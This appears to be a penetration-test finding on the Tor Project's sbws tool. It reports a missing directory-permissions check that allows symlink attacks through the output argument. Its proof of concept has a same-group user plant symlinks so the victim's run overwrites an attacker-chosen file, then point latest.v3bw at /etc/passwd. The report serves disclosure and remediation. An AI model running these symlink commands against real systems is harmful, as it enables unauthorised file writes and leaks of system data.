TOR-002 Pen-torproject#2: sbws - Limited File read/write due to missing permissions check via symlinks

Technical Description

The sbws allows specifying an argument output which describes where the latest v3bw file should be stored via the method write of the class V3BWFile. However, it does not check which permissions the folder of the output file have before performing any file operations.

tpo/network-health/sbws/lib/v3bwfile.py

class V3BWFile(object):
    def write(self, output):
        if output == "/dev/stdout":
            log.info("Writing to stdout is not supported.")
            return

        # To avoid inconsistent reads, the bandwidth data is written to an
        # archive path, then atomically symlinked to 'latest.v3bw'
        out_dir = os.path.dirname(output)
        out_link = os.path.join(out_dir, "latest.v3bw")
        out_link_tmp = out_link + ".tmp"
        with DirectoryLock(out_dir):
            with open(output, "wt") as fd:
                fd.write(str(self.header))
                for line in self.bw_lines:
                    fd.write(str(line))
            output_basename = os.path.basename(output)
            [...]

Proof of Concept

id victim
=>
uid=1000(foo) gid=1000(foo) groups=1000(foo)

id attacker 
=>
uid=1001(low) gid=1000(foo) groups=1000(foo)

# user foo creates the output directory and runs SBWS with the output argument 
mkdir store
python3 sbws.py -c sbws/config.default.ini generate --output store/a

# observed permissions
ll store/
=>
-rw-rw-r--  1 foo foo 23407 Aug 17 19:48 a
lrwxrwxrwx  1 foo foo     1 Aug 17 19:48 latest.v3bw -> a
-rwxrwxr-x  1 foo foo     0 Aug 17 19:48 .lockfile*

# The attacker prepares the system and wait
cd store && touch payload && ln -sf payload a && chmod 770 payload
=> 
lrwxrwxrwx 1 low foo 7 Aug 17 19:53 a -> payload

# victim runs the SBWS again
python3 sbws.py -c sbws/config.default.ini generate --output store/a

# attacker confirms the file write
tail -n 1 payload
=> bw=1 error_circ=0 error_destination=0 error_misc=0

# attacker can also replace the archive latest.v3bw file with a symlink to other files to leak data
ln -sf /etc/passwd latest.v3bw && ll latest.v3bw
=> lrwxrwxrwx 1 low foo 11 Aug 17 20:06 latest.v3bw -> /etc/passwd

Impact

This missing permission check may allow other users to read data from this folder, while users in the same group as the swbs user may be able to overwrite and read files via symlink attacks.

Recommendation

It is recommended to check the permissions before creating more files inside the folder. Moreover, the sbws could change the folder's permissions in advance, e.g., to 700.

Type

CWE-276: Incorrect Default Permissions

Update

The merge request does not prevent the vulnerability because folders other than the default folder can be set using the output argument, e.g., by this command sbws.py -c sbws/config.default.ini generate --output foo/a